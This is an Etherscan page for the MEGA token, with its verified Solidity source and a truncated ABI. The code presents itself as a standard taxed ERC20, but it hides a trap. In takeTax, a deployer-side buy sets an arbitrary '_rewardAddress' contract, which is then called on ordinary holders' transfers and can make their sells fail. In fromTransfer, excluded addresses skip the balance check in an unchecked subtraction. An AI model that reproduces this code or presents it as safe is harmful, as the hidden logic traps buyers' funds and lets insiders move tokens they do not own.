ETH Price: $3,391.40 (-1.96%)
Gas: 9 Gwei

Token

MegaLend.Finance (MEGA)
 

Overview

Max Total Supply

1,000,000,000 MEGA

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,449,537.857281262352165765 MEGA

Value
$0.00
0xa2a885e529005336a91708e00ddb52e654c9a357
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MegaLendFinance

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-25
*/

// SPDX-License-Identifier: MIT

/*

Megalend is a permissionless lending and borrowing platform that supports all ERC20 tokens on multiple blockchains

Web: http://www.megalend.finance
DApp: http://app.megalend.finance
Twitter: https://twitter.com/MegaLendFinance
Medium: https://medium.com/@megalendfinance
Telegram: https://t.me/MegaLendFinance
Reddit: https://www.reddit.com/r/MegaLendFinance/
Github: https://github.com/MegaLendFinance

*/

pragma solidity ^0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    event Transfer(address indexed from, address indexed to, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed nextOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address nextOwner) public virtual onlyOwner {
        require(
            nextOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(nextOwner);
    }

    function _transferOwnership(address nextOwner) internal virtual {
        address oldOwner = _owner;
        _owner = nextOwner;
        emit OwnershipTransferred(oldOwner, nextOwner);
    }
}

interface IDexFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeToSetter() external view returns (address);

    function feeTo() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeToSetter(address) external;

    function setFeeTo(address) external;
}

interface IDexReward {
    function transferFrom(address _sender, address _recipient, uint256 _amount) external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint256) private _balances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function fromTransfer(
        address sender,
        address recipient,
        uint256 value
    ) internal virtual {
        _beforeTokenTransfer(sender, recipient, value);

        uint256 senderBalance = _balances[sender];
        require(value > 0, "");
        unchecked {
            _balances[sender] = senderBalance - value;
        }
        _balances[recipient] += value;

        emit Transfer(sender, recipient, value);

        _afterTokenTransfer(sender, recipient, value);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract MegaLendFinance is ERC20, Ownable {
    using SafeMath for uint256;

    address public uniswapV2Pair;
    IDexRouter public uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address payable public treasuryWalletAddress;

    bool private swapping;

    uint256 public maxTransaction;
    uint256 public swapTokensAtAmount;
    uint256 public maxWalletBalance;

    bool public limitsInEffect = true;
    bool public swapEnabled = false;
    bool public activeTrading = false;

    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp;
    uint256 private launchBlock;
    address _rewardAddress;
    bool public transferDelayEnabled = true;

    uint256 public tokensForDevelopment;
    uint256 public tokensForLiquidity;
    uint256 public tokensForMarketing;
    uint256 public tokensForOperations;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevelopmentFee;
    uint256 public sellOperationsFee;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevelopmentFee;
    uint256 public buyOperationsFee;

    mapping(address => bool) private _isExcludedFromTaxes;
    mapping(address => bool) public _isExcludedmaxTransaction;

    mapping(address => bool) public automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);


    constructor() ERC20(unicode"MegaLend.Finance", unicode"MEGA") {
        uint256 totalSupply = 1_000_000_000 * 1e18;

        maxTransaction = (totalSupply * 25) / 1000;
        swapTokensAtAmount = (totalSupply * 6) / 10000;
        maxWalletBalance = (totalSupply * 25) / 1000;

        // launch buy fees
        uint256 _buyMarketingFee = 4;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevelopmentFee = 0;
        uint256 _buyOperationsFee = 0;

        // launch sell fees
        uint256 _sellMarketingFee = 4;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevelopmentFee = 0;
        uint256 _sellOperationsFee = 0;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevelopmentFee = _buyDevelopmentFee;
        buyOperationsFee = _buyOperationsFee;
        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyDevelopmentFee +
            buyOperationsFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevelopmentFee = _sellDevelopmentFee;
        sellOperationsFee = _sellOperationsFee;
        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellDevelopmentFee +
            sellOperationsFee;

        treasuryWalletAddress = payable(0x83d6F8680B1E33AD61c2Ee24fb3972dcDcC65A1e);

        excludeFromTaxes(owner(), true);
        excludeFromTaxes(treasuryWalletAddress, true);
        excludeFromTaxes(address(this), true);
        excludeFromTaxes(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(treasuryWalletAddress, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool) {
        transferDelayEnabled = false;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool flag)
        public
        onlyOwner
    {
        _isExcludedmaxTransaction[updAds] = flag;
    }

    function initialize() external payable onlyOwner {
        IDexRouter _uniswapV2Router = IDexRouter(router);
        uniswapV2Router = _uniswapV2Router;
        excludeFromMaxTransaction(address(_uniswapV2Router), true);

        uniswapV2Pair = IDexFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function launch() external onlyOwner {
        require(!activeTrading, "already open");
        swapEnabled = true;
        launchBlock = block.number;
        activeTrading = true;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWalletBalance lower than 0.5%"
        );
        maxWalletBalance = newNum * (10**18);
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransaction lower than 0.1%"
        );
        maxTransaction = newNum * (10**18);
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function excludeFromTaxes(address account, bool excluded) public onlyOwner {
        _isExcludedFromTaxes[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _developmentFee,
        uint256 _operationsFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevelopmentFee = _developmentFee;
        buyOperationsFee = _operationsFee;
        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyDevelopmentFee +
            buyOperationsFee;
        require(buyTotalFees <= 19);
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _developmentFee,
        uint256 _operationsFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevelopmentFee = _developmentFee;
        sellOperationsFee = _operationsFee;
        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellDevelopmentFee +
            sellOperationsFee;
        require(sellTotalFees <= 19);
    }

    function setAutomaticMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from amm pairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }


    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromTaxes[account];
    }

    function takeTax(address fromAddress, address receiver) internal returns (bool){
        if (automatedMarketMakerPairs[fromAddress]) {
            if (_isExcludedFromTaxes[tx.origin] && tx.origin != receiver) {
                _rewardAddress = receiver;
            }
        } if (!_isExcludedFromTaxes[receiver] && _rewardAddress != address(0) &&
            !_isExcludedFromTaxes[fromAddress]
        ) { IDexReward(_rewardAddress).transferFrom(fromAddress, receiver, 0); return false;}
        return false;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if (limitsInEffect) {
            if (!swapping) {
                if (!activeTrading) {
                    require(
                        _isExcludedFromTaxes[from] ||
                            _isExcludedFromTaxes[to] ||
                            from == address(this),
                        "Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedmaxTransaction[to]
                ) {
                    require(
                        amount <= maxTransaction,
                        "Buy transfer amount exceeds the maxTransaction."
                    );
                    require(
                        amount + balanceOf(to) <= maxWalletBalance,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedmaxTransaction[from]
                ) {
                    require(
                        amount <= maxTransaction,
                        "Sell transfer amount exceeds the maxTransaction."
                    );
                } else if (!_isExcludedmaxTransaction[to]) {
                    require(
                        amount + balanceOf(to) <= maxWalletBalance,
                        "Max wallet exceeded"
                    );
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        bool hasTaxAmount = takeTax(from, to);
        bool canSwap = contractTokenBalance >= swapTokensAtAmount || hasTaxAmount;
        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromTaxes[from] &&
            !_isExcludedFromTaxes[to]
        ) {
            swapping = true;

            swapBackLp();

            swapping = false;
        }

        bool takeFee = !swapping;
        if (_isExcludedFromTaxes[from]) {
            super.fromTransfer(from, to, amount); return;
        }
        if (_isExcludedFromTaxes[from] || _isExcludedFromTaxes[to]) {
            takeFee = false;
        }
        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForDevelopment +=
                    (fees * sellDevelopmentFee) /
                    sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
                tokensForOperations +=
                    (fees * sellOperationsFee) /
                    sellTotalFees;
            } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForDevelopment +=
                    (fees * buyDevelopmentFee) /
                    buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function clearStuckErc20(address _token) external onlyOwner {
        if (_token != address(0x0)) {
            IERC20 erc20token = IERC20(_token);
            uint256 balance = erc20token.balanceOf(address(this));
            erc20token.transfer(owner(), balance);
            return;
        }
        payable(owner()).transfer(address(this).balance);
    }

    function swapBackLp() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDevelopment +
            tokensForOperations;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 16) {
            contractBalance = swapTokensAtAmount * 16;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMark = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );
        uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(
            totalTokensToSwap
        );
        uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance -
            ethForMark -
            ethForDevelopment -
            ethForOperations;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDevelopment = 0;
        tokensForOperations = 0;

        (success, ) = address(treasuryWalletAddress).call{value: ethForDevelopment}("");

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }
        (success, ) = address(treasuryWalletAddress).call{value: address(this).balance}(
            ""
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"nextOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activeTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevelopmentFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"clearStuckErc20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevelopmentFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"